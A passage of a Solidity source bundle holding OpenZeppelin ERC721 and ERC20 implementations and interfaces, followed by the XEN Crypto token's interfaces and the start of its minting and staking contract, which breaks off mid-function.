(bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return 